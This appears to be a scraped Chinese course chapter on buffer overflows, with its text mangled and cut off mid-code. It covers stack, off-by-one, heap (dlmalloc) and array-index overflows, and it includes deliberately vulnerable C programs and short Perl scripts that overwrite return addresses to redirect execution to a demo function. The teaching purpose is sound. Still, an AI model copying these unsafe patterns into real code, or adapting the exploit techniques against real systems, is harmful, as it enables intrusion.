版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、第二章 緩沖區(qū)溢出 出現(xiàn)緩沖區(qū)溢出的主要原因是不良的編程習慣。其他原因包括C語言和C+語言為程序設計人員提供了許多不安全的編程方法,缺乏安全可靠、簡便易行的字符串處理函數(shù),對錯誤的實際后果的忽略。 堆棧溢出(也稱靜態(tài)緩沖區(qū)溢出)(*)如果向一個在棧的緩沖區(qū)復制數(shù)據(jù),但是復制的數(shù)據(jù)量又比緩沖區(qū)大的時候,就會發(fā)生靜態(tài)緩沖區(qū)溢出。在棧上聲明的各種變量的位置就緊靠著函數(shù)調用程序的返回地址。通常出現(xiàn)的錯誤是用戶輸入的數(shù)據(jù)未經(jīng)驗證,就傳遞給strcpy這樣的函數(shù),產(chǎn)生的后果就是調用函數(shù)的返回地址將被攻擊者選擇的某個地址覆蓋。在一個常規(guī)的攻擊下,攻擊者可以通過一個緩沖區(qū)溢出的應用程序來執(zhí)行對他們有用的操作,
2、比如在他們選擇的端口上綁定一個命令解釋程序。第二章 緩沖區(qū)溢出堆棧溢出lIA32架構的堆棧。棧中除其他內容外,還存儲了參數(shù)、緩沖區(qū)和函數(shù)的返回地址。在IA32的系統(tǒng)中,棧是向下增長的,變量按LIFO的方式壓入棧里,最后壓入站的數(shù)據(jù)最先彈出。Frame Pointer(EBP)Instruction Pointer(EIP)本地變量、緩沖區(qū)、其他寄存器等第二章 緩沖區(qū)溢出堆棧溢出l下圖顯示的是壓入兩個緩沖區(qū)后的棧。首先,緩沖區(qū)buf1進棧,然后,緩沖區(qū)buf2進棧。在向buf2緩沖區(qū)中寫入的數(shù)據(jù)量超過了程序預期的大小,buf1會被buf2的數(shù)據(jù)覆蓋。甚至棧的其他部分,包括指令指針(EIP)的值也
3、會被覆蓋。EIP寄存器保存了函數(shù)的返回地址。所以惡意的用戶可以通過調用這個函數(shù)選擇任意一個想要的返回地址。Buf2512Buf1512Frame Pointer(EBP)Instruction Pointer(EIP)本地變量、緩沖區(qū)、其他寄存器等第二章 緩沖區(qū)溢出堆棧溢出l代碼1/*StackOverrun.cThis program shows an example of how a stack-based buffer overrun can be used to execute an arbitrary code. Its objective is to find an input s
4、tring that executes the function bar.*/#include #include void foo(const char* input)char buf10;printf(“My stack looks like:n%pn%pn%pn%pn%pn%pnn”);strcpy(buf,input);printf(“%sn”,buf);printf(“Now the stack looks like :n%pn%pn%pn%pn%pn%pnn”);第二章 緩沖區(qū)溢出堆棧溢出l代碼1(續(xù))void bar(void)printf(“Augh! Ive been hack
5、ed!n”);int main(int argc, char* argv)printf(“Address of foo=%pn”,foo);printf(“Address of bar=%pn”,bar);if(argc!=2)printf(“Please supply a string as an argument!n”);return -1;foo(argv1);return 0;第二章 緩沖區(qū)溢出堆棧溢出l運行C:Secureco2Chapter03Stackoverrun.exe HelloAddress of foo=00401000Address of bar=00401045My
6、 stack looks like:00000000000000007FFDF0000012FF800040108AWe want to overwrite the return address for foo.00410EDEHelloNow the stack looks like:6C6C6568You can see where “Hello” was copied in.0000006F7FFDF0000012FF800040108A00410EDE第二章 緩沖區(qū)溢出堆棧溢出運行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410
7、EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底6C6C65680000006F7FFDF0000012FF800040108A00410EDE無緩沖區(qū)溢出第二章 緩沖區(qū)溢出堆棧溢出l運行C:Secureco2Chapter03Stackoverrun.exe AAAAAAAAAAAAAAAAAAAAAAAAAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEAAA
8、AAAAAAAAAAAAAAAAAAAAANow the stack looks like:414141414141414141414141414141414141414141414141運行得到應用程序的錯誤信息,表明了地址位于0 x41414141的指令試圖訪問位于0 x41414141的內存。第二章 緩沖區(qū)溢出堆棧溢出運行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底414141414141414141414141414141
9、414141414141414141緩沖區(qū)溢出,運行得到應用程序的錯誤信息,表明了試圖訪問地址位于0 x41414141的指令第二章 緩沖區(qū)溢出堆棧溢出l運行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Address of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EBEABCDEFGHIJKLMNOPQRSTUVWXYZ12345678
10、90Now the stack looks like:44434241484746454C4B4A49504F4E4D5453525158575655應用程序的出錯信息顯示出我們試圖在0 x54535251處運行計算機指令。查看ASCII字符表,0 x54是字符T的編碼,那就是需要我們修改的地方。第二章 緩沖區(qū)溢出堆棧溢出運行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底44434241484746454C4B4A49504F4E4
11、D5453525158575655緩沖區(qū)溢出,運行得到應用程序的錯誤信息,表明了試圖訪問地址位于0 x54535251的指令,如此,可得到foo的返回地址的存放位置。第二章 緩沖區(qū)溢出堆棧溢出l運行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEABCDEFGHIJKLMNOPQRSNow the stac
12、k looks like:44434241484746454C4B4A49504F4E4D0053525100410ECE通過改變用戶的輸入內容,我們可以控制在哪個地址運行下一條指令。下面我們用用戶的輸入來控制程序的流程!如果能夠做到不輸入QRS,取而代之輸入0 x45、0 x10、0 x40,那么也就可以讓bar函數(shù)運行。第二章 緩沖區(qū)溢出堆棧溢出編寫如下名叫HackOverrun.pl的perl腳本$arg=“ABCDEFGHIJKLMNOP”.”x45x10 x40 x00”;$cmd=“StackOverrun “.$arg;system($cmd);運行上述腳本C:Secureco2
13、Chapter03perl HackOverrun.plAddress of foo=00401000Address of bar=00401045My stack looks like:77FB80DB77F94E687FFDF0000012FF800040108A00410ECAABCDEFGHIJKLMNOPE?Now the stack looks like:44434241484746454C4B4A49504F4E4D0040104500410ECAAugh! Ive been hacked!第二章 緩沖區(qū)溢出堆棧溢出運行前后堆棧變化情況00000000000000007FFDF0
14、000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底44434241484746454C4B4A49504F4E4D0040104500410EDE緩沖區(qū)溢出,將foo的返回地址改為00401045。第二章 緩沖區(qū)溢出堆棧溢出lOff_by_One溢出代碼2/*OffByOne*/#include #include Void foo(const char* in)char buf32;strncpy(buf,in,sizeof(buf);bufsizeof(buf)=0;printf(“%sn”,
15、buf);Void bar(const char* in)printf(“Augh! Ive been hacked!n”);int main(int argc, char* argv)if(argc!=2)printf(“Usage is %s stringn”,argv0);return -1;printf(“Address of foo is %p, address of bar is %pn”,foo,bar);foo(argv1);return 0;第二章 緩沖區(qū)溢出堆棧溢出編寫如下名叫HackOverrun.pl的perl腳本$arg=“AAAAAAAAAAAAAAAAAAAAAA
16、AAAAAA”.”x40 x10 x40 x00”;$cmd=“OffByOne “.$arg;system($cmd);運行上述腳本C:Secureco2Chapter03perl OffByOne.plAddress of foo=00401000, address of bar=00401040AAAAAAAAAAAAAAAAAAAAAAAAAAAA?Augh! Ive been hacked!修改了調用函數(shù)的棧結構。利用Off_by_One溢出需要滿足兩個條件:首先,緩沖區(qū)的字節(jié)數(shù)要能被4整除。其次,需要對EBP現(xiàn)在指向的區(qū)域有所控制。第二章 緩沖區(qū)溢出堆棧溢出運行前后堆棧變化情況00
17、000000000000000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底41414141004010400012FF000040104500410EDE緩沖區(qū)溢出,將main的棧底指針改為0012FF00,main返回后執(zhí)行00401040處指令。0012FF00 第二章 緩沖區(qū)溢出堆溢出l堆是由程序使用且在運行時動態(tài)分配的內存區(qū)域。在堆內存空間上發(fā)生的緩沖區(qū)溢出的情況很普遍,對這類bug的利用與基于棧的緩沖區(qū)溢出不同。應用程序根據(jù)需要動態(tài)分配內存。內存分配通過調用函數(shù)malloc()來完成。
18、Malloc()函數(shù)調用需要一個參數(shù)指定分配的字節(jié)數(shù),并且返回一個指針指向所分配的內存。textdataheapbssstack第二章 緩沖區(qū)溢出堆溢出lDoug Lea Malloc。 Doug Lea Malloc(dlmalloc)一般用在Linux操作系統(tǒng)上,它的設計使得堆溢出時可以被輕易地利用。在這個實現(xiàn)中,所有的堆內存都被組織成為“塊”(chunk),這些塊包含了dlmalloc有效分配和釋放內存所需要的信息。Prev_size元素用于保存當前塊的上一個塊的大小,但是僅當上一個塊尚未分配是起作用。如果上一個塊已經(jīng)被分配了,則prev_size不再表示大小,而是被當成數(shù)據(jù)元素,以節(jié)約
19、4個字節(jié)。Size元素用于保存當前所分配的塊的大小。不過,當調用malloc()時,會把長度參數(shù)加上4,然后再對齊到下一個雙字邊界。Size域的最低一位對于exploit最為重要,這個位用作PREV_INUSE標志,它指示前一個塊是否已經(jīng)分配。Data元素就是malloc()返回的指針指向的所分配的內存空間。這塊內存空間用來復制數(shù)據(jù)并由程序所使用。這部分內存可以由程序員使用內存管理函數(shù)進行直接操作,如memcpy函數(shù)和memset函數(shù)。prev_sizesizedata第二章 緩沖區(qū)溢出堆溢出l當使用free()將data釋放以后,內存塊將會重新調整。Dlmalloc的實現(xiàn)會首先檢查臨近的塊是
20、否已經(jīng)釋放,如果已釋放,則將鄰近的塊與當前塊合并成為一個更大的空閑塊。Free()函數(shù)釋放一塊內存以后,內存塊的結構發(fā)生變化。先前使用的內存的前8個字節(jié)將會被兩個指針替代,分別是fd和bk。這兩個指針分別代表forward和backward,用來指向一個由尚未分配的塊所構成的雙向鏈表。Dlmalloc實現(xiàn)中的固有問題在于內存塊的管理信息與數(shù)據(jù)存放在一起。如果一個已分配的內存塊溢出并覆蓋了下一個塊及其管理信息,系統(tǒng)就會被惡意破壞。Prev_sizesizefdbkUnused memory第二章 緩沖區(qū)溢出堆溢出代碼/*HeapOverrun.cpp*/#include #include #in
21、clude class BadStringBufpublic :BadStringBuf(void)m_buf=NULL;BadStringBuf(void)if(m_buf!=NULL) free(m_buf);void Init(char* buf)m_buf=buf;void SetString(const char* input)strcpy(m_buf,input);const char* GetString(void)return m_buf;private:char* m_buf;第二章 緩沖區(qū)溢出堆溢出代碼BadStringBuf* g_pInput=NULL;void bar
22、(void)printf(“Augh! Ive been hacked!);void BadFunc(const char* input1, const char* input2)char* buf=NULL;char* buf2;buf2=(char *)malloc(16);g_pInput=new BadStringBuf;buf=(char*)malloc(16);g_pInput-Init(buf2);strcpy(buf,input1);g_pInput-SetString(input2);printf(“input 1=%sn input 2=%sn”,buf,g_pInput-
23、GetString();if(buf!=NULL) free(buf);第二章 緩沖區(qū)溢出堆溢出代碼int main(int argc, char* argv)char arg1128;char arg24=0 x0f,0 x10,0 x40,0;int offset=0 x40;memset(arg1,0 xfd,offset);arg1offset=(char)0 x94;arg1offset+1=(char)0 xfe;arg1offset+2=(char)0 x12;arg1offset+3=0;arg1offset+4=0;printf(“Address of bar is %pn”
24、,bar);BadFunc(arg1,arg2);if(g_pInput!=NULL)delete g_pInput;return 0;第二章 緩沖區(qū)溢出堆溢出Buf2EBPEIPbuf2bufm_buf0012FE94main的棧底指針BadFunc返回地址BadFunc執(zhí)行g_pInput-Init(buf2)后棧和堆的情況,將m_buf指向buf2Offset=0 x40第二章 緩沖區(qū)溢出堆溢出FDFDFDFD0012FE94EBPEIPbuf2bufm_buf0012FE94BadFunc執(zhí)行strcpy(buf,input1)后棧和堆的情況,第二章 緩沖區(qū)溢出堆溢出FDFDFDFD0
25、012FE94EBP0040100F(EIP)buf2bufm_buf0012FE94BadFunc執(zhí)行g_pInput-SetString(input2)后棧和堆的情況第二章 緩沖區(qū)溢出數(shù)組下標錯誤數(shù)組索引錯誤比起緩沖區(qū)溢出來說,出現(xiàn)的比較少一些,但是它總的來說是一回事,一個字符串也正好是一個字符數(shù)組,顯而易見其他類型的數(shù)組也可以寫入任意的內存位置。/*ArrayIndexError.cpp*/#include #include Int* IntVector;Void bar(void)printf(“Augh! Ive been hacked!”);Void InsertInt(unsigned long index, unsigned long value)printf(“Writing Memory at %pn”,&(IntVectorindex);IntVectorindex=value;Bool InitVector(
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 年度藥物運載系統(tǒng)藥品市場分析及競爭策略分析報告
- 2024版?zhèn)€體運輸戶與大車司機合作協(xié)議
- 墊層防水施工方案
- 2025年度個人醫(yī)療借款擔保合同模板2篇
- 2025年度社區(qū)便利店酒水新品引進及銷售合作協(xié)議3篇
- 2025年新型打樁技術勞務分包合同范本4篇
- 二零二五版藥品質量檢驗試劑定制研發(fā)合同3篇
- CECT品牌定位及傳播策略
- 2024中考模擬考試語文試卷(一模)含答案
- 2025年模具行業(yè)安全生產(chǎn)標準化建設合同4篇
- 2025年中國文玩電商行業(yè)發(fā)展現(xiàn)狀調查、競爭格局分析及未來前景預測報告
- 2024文旅古街元旦沉浸式體驗國風游園會(古巷十二時辰主題)活動方案活動-46正式版
- (課件)-談研究生培養(yǎng)
- 《disc性格分析》課件
- 2025年臨床醫(yī)師定期考核必考復習題庫及答案(900題)
- 反恐應急預案3篇
- 英語-2025廣西柳州高三二模試卷和答案
- 微更新視角下老舊社區(qū)公共空間適老化設計策略研究
- 電工中級工練習題庫(含參考答案)
- 骨科2025年度工作計劃
- 學校幫扶工作計劃
評論
0/150
提交評論